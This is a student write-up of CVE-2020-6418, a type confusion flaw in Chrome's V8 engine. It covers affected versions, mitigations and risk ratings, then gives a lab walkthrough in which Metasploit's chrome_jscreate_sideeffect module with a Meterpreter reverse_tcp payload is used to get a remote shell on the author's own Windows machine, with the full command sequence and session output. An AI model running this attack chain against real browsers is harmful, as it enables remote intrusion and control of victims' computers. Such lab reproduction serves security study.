CVE 2020-6418 Type confusion in V8 in Google Chrome prior to 80.0.3987.122

Nayan Das

University of Delhi nayandas3234@gmail.com

CVE-2020-6418 is a type confusion vulnerability in V8, Google Chrome's open-source JavaScript and WebAssembly engine.

Vulnerability Description

On February 25, security updates were released for Google Chrome and Microsoft Edge. The opensource JavaScript and WebAssembly engines in V8 in Google Chrome before 80.0.3987.122 and Microsoft Edge browser before 80.0.361.62 are prone to a type confusion vulnerability (CVE-2020-6418), which allows attackers to access data in an unauthorized way, thereby executing malicious code.

V8 is Chrome's component that's responsible for processing JavaScript code.

A type confusion refers to coding bugs during which an app initializes data execution operations using input of a specific "type" but is tricked into treating the input as a different "type."

The "type confusion" leads to logical errors in the app's memory and can lead to situations where an attacker can run unrestricted malicious code inside an application.

Successful exploitation of the vulnerability could allow an attacker to execute arbitrary code in the context of the browser. Depending on the privileges associated with the application, an attacker could view, change, or delete data. If this application has been configured to have fewer user rights on the system, exploitation of this vulnerability could have less impact than if it was configured with administrative rights.

Scope of Impact

Affected Versions

- Google Chrome < 80.0.3987.122
- Microsoft Edge < 80.0.361.62

Unaffected Versions

- Google Chrome >= 80.0.3987.122
- Microsoft Edge = 80.0.361.62

Mitigations

Currently, both Google and Microsoft have released a new version to fix the preceding vulnerability. Affected users are advised to upgrade as soon as possible.

- Apply the stable channel update provided by Google to vulnerable systems immediately after appropriate testing.
- Run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.
- Remind users not to visit un-trusted websites or follow links provided by unknown or untrusted sources.
- Inform and educate users regarding the threats posed by hypertext links contained in emails or attachments especially from un-trusted sources.
- Apply the Principle of Least Privilege to all systems and services.

RISK:

Government:

- Large and medium government entities: **HIGH**
- Small government entities: **MEDIUM**

Businesses:

- Large and medium business entities: **HIGH**
- Small business entities: **MEDIUM**

Home Users:

LOW

EXPLOIT :

1. Before starting the crome we have to turn off the sandbox of out chrome.exe, for this lets open our Command Promp in windows.



- 2. Now lets navigate to our chrome.exe, in my case it is
- > C:\Users\NAYAN\AppData\Local\Google\Chrome\Application



3. Also lets take a look at the ip of our windows machine for confirming the shell access using the ip address.



4. Now in the directory were we have our chrome.exe file run the following command > chrome.exe –no-sandbox

This command will open a chrome window with sandbox turned off.



5. This is our chrome window we got after we executed the command

6	File Edit View VM Tabs Help 🗃 🔛 🔊 🕜 🕲 🚳 💽 🛶 📼 👼	 ✓ Image: Windows 10 x64 X → Image: Image: Windows 10 x64 	×
	New Tab $x + $ $\leftarrow \rightarrow C G$	- □ × ★ ⊖ :	
Microsoft Edge	ec You are using an unsupported command-line flag:no-sandbox. Stability and security will suffer.	×	
ß	C 💿 Google Chrome isn't your default browser Set as default	×	
lmmunity Debugger		Gmail Images	
0ffe538514.	Google		
Google Chrome	Q Search Google or type a URL		
		Customize	
	🗅 Type here to search 🛛 O 🛱 🤤 📻 🔒 💼 M 🖭 🧿		⊊ 40) 5/23/2020 5 3

6. Lets check the version of our chrome application. It should be prior to 80.0.3987.122. I have 80.0.3987.87 (x64)

Recycle Bin (File Edit View VM Tal	os Help 🗃 🔢 🕨 🥸 🕜 🕲 🕲 🖬 📰 📼	◆ 🗃 Windows 10 x64 💥 → 🖃 🗙
Alterosoft Edge	(← → C	+ /settings/help ie flag:no-sandbox. Stability and security will suffer.	- • × * • • :
AS Immunity Debugger	C Settings	Q Search settings	
Debugger	Autofill Privacy and security	About Chrome Google Chrome	
Ī	 Appearance Search engine Default browser 	An error occurred while checking for updates: Update check failed to start (er Learn more Version 80.0.3987.87 (Official Build) (64-bit)	ror code 3: 0x80040154).
(file)38514	() On startup	Get help with Chrome	C
Google Chrome	Extensions 🖸	Google Chrome	
	About Chrome	Copyright 2020 Google LLC. All rights reserved.	-
۹ 🗄	Type here to search	o # e 🖬 🕯 ท 🖻 🧿	へ 提 d》 ^{3:52 PM} 1 5/23/2020 日

7. Now in my Linux System,

Activities 🕒 nayan@ubuntu-ins	piron: ~ 🔻	Sat May 23, 3:53 PM		_	? €	32 % 🔻
File Edit View Search Termina	Tabs Help					
nayar	@ubuntu-inspiron: ~		nayan@ubuntu-inspiron: ~	×	₽. ▼	
loop txqueuelen 100	ask 255.0.0.0 128 scopeid 0x10 <host>) (Local Loopback)</host>					<u>₽</u>
RX errors 0 dropped TX packets 22260 by	tes 41585953 (41.5 MB) 0 overruns 0 frame 0 tes 41585953 (41.5 MB) 0 overruns 0 carrier 0 collision					
inet 172.16.153.1 n inet6 fe80::250:56ff ether 00:50:56:c0:00	AST,RUNNING,MULTICAST> mtu 1500 ttmask 255.255.255.0 broadcast 172 fec0:1 prefixlen 64 scopeid 0x20 :01 txqueuelen 1000 (Ethernet)					6 €
TX packets 129 byte	0 overruns 0 frame 0					5
inet 192.168.234.1 inet6 fe80:1250:56ff ether 00:50:56:c0:00 RX packets 0 bytes RX errors 0 dropped TX packets 129 byte:	0 overruns 0 frame 0	<link/>				••• ••• •••
inet <u>192.168.0.103</u> inet6 fe80::124:367b ether a0:d3:7a:38:02 RX packets 131703 b RX errors 0 dropped TX packets 105390 b	AST,RUNNING,MULTICAST> mtu 1500 Petmask 255.255.255.0 broadcast 19 3632:5660 prefixlen 64 scopetd 0 66b txqueuelen 1000 (Ethernet) ttes 136493216 (136.4 MB) 0 overruns 0 frame 0 ytes 74073067 (74.0 MB) 0 overruns 0 carrier 0 collision	x20 <link/>				▲ ₽
nayan@ubuntu-inspiron:~\$ 🗌						

8. Starting the msfconsole,



9. Search for the exploit,

> search chrome_js

Activities 🗈 nayan@ubuntu-inspiron: ~ 🔻	Sat May 2	23, 3:54 PM		_ O X 🤅	r 📢 🔂 3	34% 🔻
File Edit View Search Terminal Tabs Help						
nayan@ubuntu-inspiron: ~	×		nayan@ubuntu-inspiron: ~		₽ ▼	
ploit						<u>-</u>
						2
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%		6%%%%%]				-
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%	_%%%%%%%%%%%%	_ %%%%] _ %%]				
[% _ _,a\$\$""` _ [%		_ %%] %%]				<i>7</i>
[%%%%)000000000000000000000000000000000		6%%%%%%%]				6
[%% \%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%						
[% /42255422554225542255422554225542255422		67676767676				
=[metasploit v5.0.88-dev-						5
+=[2008 exploits - 1096 auxiliary - 343 post +=[562 payloads - 45 encoders - 10 nops						
+=[7 evasion						
Metasploit tip: Search can apply complex filters such as			see all the filters with help search			_
<u>msf5</u> > search chrome_js						-2
Matching Modules						
# Name D	isclosure Date	Rank Check	Description			A
<pre>0 exploit/multi/browser/chrome_jscreate_sideeffect 2 loit</pre>	020-02-19	manual No	Google Chrome 80 JSCreate side-effect	type confusi	on exp	
						<mark> </mark>
<u>msf5</u> >						
<u>nsf5</u> > <u>nsf5</u> > use exploit/multi/browser/chrome_jscreate_sideeffe	ct					
<pre>msf5 exploit(multi/browser/chrome_jscreate_sideeffect) ></pre>						

10. Now start with setting up the exploit

> use exploit/multi/browser/chrome_jscreate_sideeffect

>show options,

	anayan@ubuntu-ins w Search Termina		p	Sat May	23, 3:54 PM	1		_ □ X 훅 🔩	<u></u> 34% ▼
	nayar	n@ubuntu-in	spiron: ~	×			nayan@ubuntu-inspiron: ~	× A	
Metasploit t	ip: Search can a	pply compl	ex filters such a	as search cve:2009	type:exp	oloit,	see all the filters with help search		-
<u>msf5</u> > searc	h chrome_js								2
Matching Mod									
# Name				Disclosure Date			Description		2
0 exploi loit	t/multi/browser/	chrome_jsc	reate_sideeffect	2020-02-19	manual	No	Google Chrome 80 JSCreate side-effect	type confusion e>	^{(p}
<u>msf5</u> >									
<u>msf5</u> > <u>msf5</u> > use e <u>msf5</u> exploit	xploit/multi/bro (multi/browser/c	wser/chrom hrome_jscr	e_jscreate_sideef eate_sideeffect)	ffect > show options					5
			chrome_jscreate_s						3
	Current Setting		Description						0
SRVHOST SRVPORT	8080	yes yes	The local port t	to listen on.		an add	ress on the local machine or 0.0.0.0		-
SSL SSLCert URIPATH	false	no no no	Path to a custor	or incoming connec n SSL certificate for this exploit ((default				
									۵.
Exploit targ Id Name	et:								
	ws 10 - Google C	hrome 80.0	.3987.87 (64 bit)						
<u>msf5</u> exploit	(multi/browser/c	hrome_jscr	eate_sideeffect)	> []					

11. Now lets set the required parameters,

>set SRVHOST <our ip>

>set URIPATH /

>set payload windows/x64/meterpreter/reverse_tcp

Acti	vities	🖾 nayan@ubuntu	-inspiron: ~ 🔻		Sat May	_ C		? €	G, 3	4% 🔻				
File	Edit V	iew Search Terr	ninal Tabs He	lp										
		n	ayan@ubuntu-i	nspiron: ~	×			nayan@ubuntu	-inspiron: ~			æ	-	
														▶
#	Name				Disclosure Date	Rank	Check	Description						0
0	explo	it/multi/brows	er/chrome_js	create_sideeffect	2020-02-19	manual	No	Google Chrome 80	JSCreate side-effec	t type	confi	usion e	exp	
loit														1
65														
<u>msf5</u> msf5														1
				<pre>me_jscreate_sideef reate_sideeffect)</pre>										6
Modu	le opti	ons (exploit/m	ulti/browser,	/chrome_jscreate_s	ideeffect):									
	ame	Current Setti	ng Required	Description										
		0.0.0.0	yes			must be	an add	ress on the local	machine or 0.0.0.0					
	RVPORT SL	8080 false	yes no	The local port t	o listen on. r incoming connec	tions								- 2
S	SLCert		no	Path to a custom	SSL certificate	(default								-
U	RIPATH		no	The URI to use f	or this exploit (default	is rand	om)						ø
Evol	oit tar	aet.												-
		yer.												
I	d Name													0
O	Wind	ows 10 - Googl	e Chrome 80.0	0.3987.87 (64 bit)										4
		t <mark>(multi/browse</mark> 192.168.0.103			> set SRVHOST 192	.168.0.1	03							- E
<u>msf5</u>	exploi	t(multi/browse		reate_sideeffect)	> set URIPATH /								1	
	ATH =>			reate_sideeffect)	> set pavload win	Idows / x64	/metern	reter/reverse_tco						
payl	oad =>	windows/x64/me	terpreter/rev	verse_tcp		1001137 7.04	meterp	receiver se_cep						
<u>msf5</u>	exploi	t(multi/browse		reate_sideeffect)	> []								_ U	

12. > set LHOST <ip>

Activities 🖾 n	nayan@ubuntu-insj	piron: ~ 🔻	Sat	May 23, 3:55 PM		_	? € [34% 🔻
File Edit View	Search Terminal	l Tabs Help						
	nayan	@ubuntu-ins	piron: ~ ×		nayan@ubuntu-inspiron: ~		Æ	• 🚍
URIPATH => /			<pre>ate_sideeffect) > set URIPATH</pre>					
payload => win	dows/x64/meterp	preter/reve	<pre>ate_sideeffect) > set payload rse_tcp ate_sideeffect) > show option</pre>		er/reverse_tcp			
Module options	(exploit/multi	i/browser/c	hrome_jscreate_sideeffect):					2
Name Cu	rrent Setting							6
SRVPORT 80 SSL fa	80	yes no	The local port to listen on. Negotiate SSL for incoming co	onnections	s on the local machine or 0.0.0.0			
SSLCert URIPATH /			Path to a custom SSL certific The URI to use for this explo		ly generated)			5
Payload option	s (windows/x64/	/meterprete	r/reverse_tcp):					3
Name C	urrent Setting	Required	Description					
EXITFUNC P LHOST	rocess	yes yes ves	Exit technique (Accepted: '' The listen address (an inter The listen port		, none)			-
LFORT 4		yes						
Exploit target								
Id Name 0 Windows	10 - Google Ch	nrome 80.0.	3987.87 (64 bit)					
65 3 3 4								
LHOST => 192.1	68.0.103		ate_sideeffect) > set LHOST 1 ate_sideeffect) > []	192.108.0.103				

13. > show options

Activities	🛛 nayan@ubuntu-ins	piron: ~ 🔻	2	Sat May 23, 3:55 PM		_	🤋 📢 🔒	35 % 🔻				
File Edit Vi	ew Search Termina	l Tabs Hel	p									
	nayan	@ubuntu-in	spiron: ~	×	nayan@ubuntu-inspiron: ~		₽ ▼					
Id Name												
0 Windo	ws 10 - Google Cl	hrome 80.0	.3987.87 (64 bit)									
<u>msf5</u> exploit	(multi/browser/cl		<pre>eate_sideeffect) > set LHOST</pre>	192.168.0.103								
LHOST => 192 <u>msf5</u> exploit			<pre>eate_sideeffect) > show opti</pre>	lons				1				
Module optic	ons (exploit/mult	i/browser/	chrome_jscreate_sideeffect):					.				
Name	Current Setting	Required	Description									
	192.168.0.103	yes ves	The local host to listen or The local port to listen or		on the local machine or 0.0.0.0							
		no no	Negotiate SSL for incoming Path to a custom SSL certif	connections	v generated)			5				
URIPATH		no	The URI to use for this exp	ploit (default is random)				3				
Payload opti	ons (windows/x64.	/meterpret	er/reverse_tcp):					@ .				
Name	Current Setting							~				
EXITFUNC LHOST		yes ves	Exit technique (Accepted: The listen address (an int		none)							
LPORT	4444	yes	The listen port	terrace may be spectricely								
Exploit tard	et:											
Id Name								•				
 0 Windo	ws 10 - Google Cl	hrome 80.0	.3987.87 (64 bit)									
<u>msf5</u> exploit	(multi/browser/cl	hrome_jscr	eate_sideeffect) > 🗌									

14. > set target 0

> run



15. The server has been started and we got an ip, we have to copy this ip and paste it in out vulnerable

] nayan@ubuntu-ins	•		ay 23, 3:56 PM	п×	<pre>? • ↓ </pre>	≩ 35 % ▼
File Edit Vi	ew Search Termina					_	
		n@ubuntu-ins	•	nayan@ubuntu-inspiron: ~	×.	£	
Module optic	ns (exploit/mult	i/browser/o	hrome_jscreate_sideeffect):				
Name	Current Setting	Required	Description				
SRVHOST SRVPORT		yes yes no	The local host to listen on. Th The local port to listen on. Negotiate SSL for incoming conn	nis must be an address on the local machine or 0.0.0.0			
SSLCert URIPATH		no no		te (default is randomly generated)			2
Payload opti	ons (windows/x64,	/meterprete	r/reverse_tcp):				l 🗳
Name	Current Setting	Required	Description				
EXITFUNC LHOST		yes yes	Exit technique (Accepted: '', The listen address (an interfa				5
LPORT	4444	yes	The listen port				
Exploit targ	et:						e .
Id Name							S
0 Windo	ws 10 - Google Cl	hrome 80.0	3987.87 (64 bit)				
target => 0			<pre>ate_sideeffect) > set target 0 ate sideeffect) > run</pre>				
[*] Exploit [*] Exploit <u>msf5</u> exploit [*] Started	running as backgr completed, but no (multi/browser/cl reverse TCP hand	round job (o session w hrome_jscro ler on 192	as created. ate_sideeffect) > 168.0.103:4444				•
[*] Using UR [*] Server s]	L: http://192.168 tarted.	8.0.103:808	0/				

	티 nayan@ubuntu-ins			at May 23, 3:56 PM _ 🗆	× ? €	🔒 35 % 🔻				
File Edit V	iew Search Termina									
		n@ubuntu-ins		nayan@ubuntu-inspiron: ~	× £	×				
Module opti	ons (exploit/mult	i/browser/o	hrome_jscreate_sideeffect):			لكا				
Name	Current Setting	Required	Description							
	SRVHOST 192.168.0.103 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on.									
SSLCert URIPATH		no no		icate (default is randomly generated)		2				
Payload opt	ions (windows/x64	/meterprete	r/reverse_tcp):							
Name	Current Setting	Required	Description							
EXITFUNC LHOST	process 192.168.0.103	yes yes	Exit technique (Accepted: The listen address (an int	'', seh, thread, process, none) erface may be specified)		5				
LPORT	4444	yes	The listen port							
Exploit tar	get:					D .				
Id Name						-				
0 Wind	ows 10 - Google C	nrome 80.0	3987.87 (64 DIT)							
target => 0			<pre>ate_sideeffect) > set targe ate sideeffect) > run</pre>							
<pre>[*] Exploit [*] Exploit</pre>	running as backg completed, but n	round job (o session (as created.							
[*] Started	t(multi/browser/c reverse TCP hand RL: http://192.16	ler on 192								
[*] Usting U [*] Server]		8.0.105.808								

16. Now browse the ip the copied in the windows browser



17. The page will keep on loading, we should get a meterpreter on the other side

0	1	🖡 File	Edit	View	VM	Tabs	Help			8	0	6			-	•	🗊 Wind	dows 10	0 x64	×	- 8	×	
Recycle Bin	Offe538514	.																					
	M	192.168.0.1	103:8080		×	+												-		×			
Microsoft Edge	(←	\rightarrow X	() N	lot secur	re 19	2.168.0	0.103:80	80										z	2 0	:			
	с																						
A Immunity Debugger	С																						
Debugger																							
mona-mas																							
0ffe538514																							
6																							
Coogle Chrome																							
Chrome																							
																							3:
م 🗄	Type h	ere to sea	rch				0	Ĭ	6				M	9							^	[] 4)	5/2

18. We got a meterpreter sessions opened

	🛛 nayan@ubuntu-ins			: May 23, 3:56 PM	_ □ X ♀ •\ 🔒 3	5% 🔫
File Edit Vi	ew Search Termina					
	nayan	@ubuntu-ins		nayan@ubuntu-inspiron: ~	× ₽. ▼	
SRVPORT SSL SSLCert	false	ýes no no	The local port to listen on. Negotiate SSL for incoming cc Path to a custom SSL certific	cate (default is randomly generated)		<u></u>
URIPATH	/ ons (windows/x64,		The URI to use for this explo	vit (default is random)		2
Paytoad opti						1
Name	Current Setting	Required	Description			6
EXITFUNC LHOST LPORT	process 192.168.0.103 4444	yes yes yes	Exit technique (Accepted: '' The listen address (an inter The listen port	', seh, thread, process, none) face may be specified)		
Exploit targ	et:					5
Id Name						3
 0 Windo	ws 10 - Google Cl	nrome 80.0.	3987.87 (64 bit)			0
			<pre>ate_sideeffect) > set target</pre>			-
[*] Exploit	running as backg	round job 0				0
<u>msf5</u> exploit	completed, but no (multi/browser/cl reverse TCP hand		<pre>ate_sideeffect) ></pre>			<u> ا</u>
	L: http://192.168 tarted.	3.0.103:808	0/	lla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K	HTML like (ecko)	•
Chrome/80.0.	3987.87 Safari/5 stage (201283 by	37.36		(K)	HINE, CERE GECKO)	
[*] Meterpre	ter session 1 ope	ened (192.1	68.0.103:4444 -> 192.168.0.11	10:50120) at 2020-05-23 15:56:41 +0530		

Activitie	s 🖾 nayan@ubuntu-insp	oiron: ~ 🔻		Sat May 23, 3:56 PM	1	_ 0	×	? €	🔒 35 % 👻
File Edit	View Search Terminal	Tabs Help	p						
	nayan	@ubuntu-ins	spiron: ~	×	nayan@ubuntu-inspiron: ~			Æ	
Name	Current Setting		Description						Ŀ
EXITF LHOST LPORT	JNC process 192.168.0.103	yes	Exit technique (Accept The listen address (an The listen port						2
LPORT	4444	yes	The costen por c						
Exploit	target:								2
Id N	ame 								
0 W	indows 10 - Google Ch	nrome 80.0.	.3987.87 (64 bit)						
target =			<pre>eate_sideeffect) > set t</pre>	arget 0					
[*] Expl	loit(multi/browser/ch bit running as backgr bit completed, but no	ound job @	<pre>eate_sideeffect) > run 0. was created.</pre>						
<u>msf5</u> exp [*] Star	loit <mark>(multi/browser/c</mark> h ted reverse TCP handl	rome_jscre	<pre>eate_sideeffect) > .168.0.103:4444</pre>						e
[*] Serv [*] 192.	<pre>[*] Using URL: http://192.168.0.103:8080/ [*] Server started. [*] Server started. [*] 192.168.0.110 chrome jscreate sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)</pre>							,	
[*] Send	Chrome/80.0.3987.87 Safar1/537.36 [*] Sending stage (201283 bytes) to 192.168.0.110 [*] Meterpreter session 1 opened (192.168.0.103:4444 -> 192.168.0.110:50120) at 2020-05-23 15:56:41 +0530								
sessions									
Active s									
		Te	formation		Connection				
	ne Туре 		nformation		Connection				
1	meterpreter x64/w	vindows DE	ESKTOP-JAR4P3N\NAYAN DAS	@ DESKTOP-JAR4P3N	192.168.0.103:4444 -> 192.168.0.110:50120	(192.168.	0.1	10)	
<u>msf5</u> exp	loit(multi/browser/ch		eate_sideeffect) > 🗌						

19. > sessions -i <session id>



20. >shell



21. finding the ip address, and we confirmed that we have gained the shell of our desired system



22. > whoami, we got desktop-jar4p3n\nayan das

Activities 🖃 nayan@ubuntu-Inspiron:~▼ File Edit View Search Terminal Tabs Help	Sat May 23, 3:58 PM	4	_	ବ୍•ା Bୁ:	37% 🔫
nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~			
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\80	0.0.3987.87>				
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86 C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86 ipconfig					
Windows IP Configuration					2
Ethernet adapter Ethernet0:					(b)
Connection-specific DNS Suffix . : www.tendawifi.com Link-local IPv6 Address : fe80::5125:2fb2:3599:9	9683%10				
IPv4 Address					5
- Ethernet adapter Bluetooth Network Connection:					3
Media State Media disconnected Connection-specific DNS Suffix . :					@ ·
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86 whoami	0.0.3987.87>whoami				-
desktop-jar4p3n\nayan das					0
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86 sysinfo	0.0.3987.87>sysinfo				4
'sysinfo' is not recognized as an internal or external commar operable program or batch file.	nd,				
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86 cd	0.0.3987.87>cd				
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\86	0.0.3987.87				
C:\Users\NAYAN DAS\AppData\Local\Google\Chrome\Application\80	0.0.3987.87>			Į	

23. Or we can do this through our meterpreter session

Activities 📧 nayan@ubuntu-inspiron: ~ 🔻	Sat May 23, 3:58 PM		_ 0 ×	ବ୍ୟ Bୁ:	37% -
File Edit View Search Terminal Tabs Help					
nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~		₽. ▼	
<u>meterpreter</u> > ipconfig					Ŀ
Interface 1 ==========					
Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00					
MTU : 4294967295 IPv4 Address : 127.00.1 IPv4 Netmask : 255.0.0.0					2
IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:					6
Interface 8					
======================================					5
MTU : 1500 IPv4 Address : 169.254.241.86					3
IPv4 Netmask : 255.255.0.0 IPv6 Address : fe80::a0C5:752d:7707:f156 IPv6 Netmask : fff:ffff:fff:fff:fff:					@ ·
					-
Interface 10 ====================================					0
Hardware MAC : 00:0c:29:a5:9c:7b MTU : 1500					<u>ک</u>
IPv4 Address : <mark>192.168.0.110</mark> IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80:5125:2fb2:3599:9b83					P
IPv6 Netmask : ffff:ffff:ffff:fff::					
<u>meterpreter</u> > []					

24. >sysinfo

Activities 🛛 🗈 nayan@ubuntu-inspiron: ~ 🔻	Sat May 23, 3:58 PM		_ D X 🤶 🍕 🖓 37% 🕶
File Edit View Search Terminal Tabs Help			
nayan@ubuntu-inspiron: ~	×	nayan@ubuntu-inspiron: ~	× 🖭 🔻 🔚
IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1			Ľ
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:			
Interface 8			
neeriste s ========== Name : Bluetooth Device (Personal Area Network)			
Hardware MAC : a0:d3:7a:38:02:6f MTU : 1500			
IPv4 Address : 169.254.241.86			🕹 ·
IPv4 Netmask : 255.255.0.0 IPv6 Address : fe80::a0C5:752d:7707:f156			
IPv6 Netmask : ffff:ffff:ffff:ffff:			
Interface 10			2
======================================			
Hardware MAC : 00:0c:29:a5:9c:7b MTU : 1500			@ .
IPv4 Address : 192.168.0.110 IPv4 Netmask : 255.255.255.0			
IPv6 Address : fe80::5125:2fb2:3599:9b83 IPv6 Netmask : ffff:fffffffffff:			
<u>meterpreter</u> > sysinfo			
Computer : DESKTOP-JAR4P3N			
05 : Windows 10 (10.0 Build 18363). Architecture : x64			
System Language : en_US Domain : WORKGROUP			
Logged On Users : 2 Meterpreter : x64/windows			
meterpreter >			
meterpreter > []			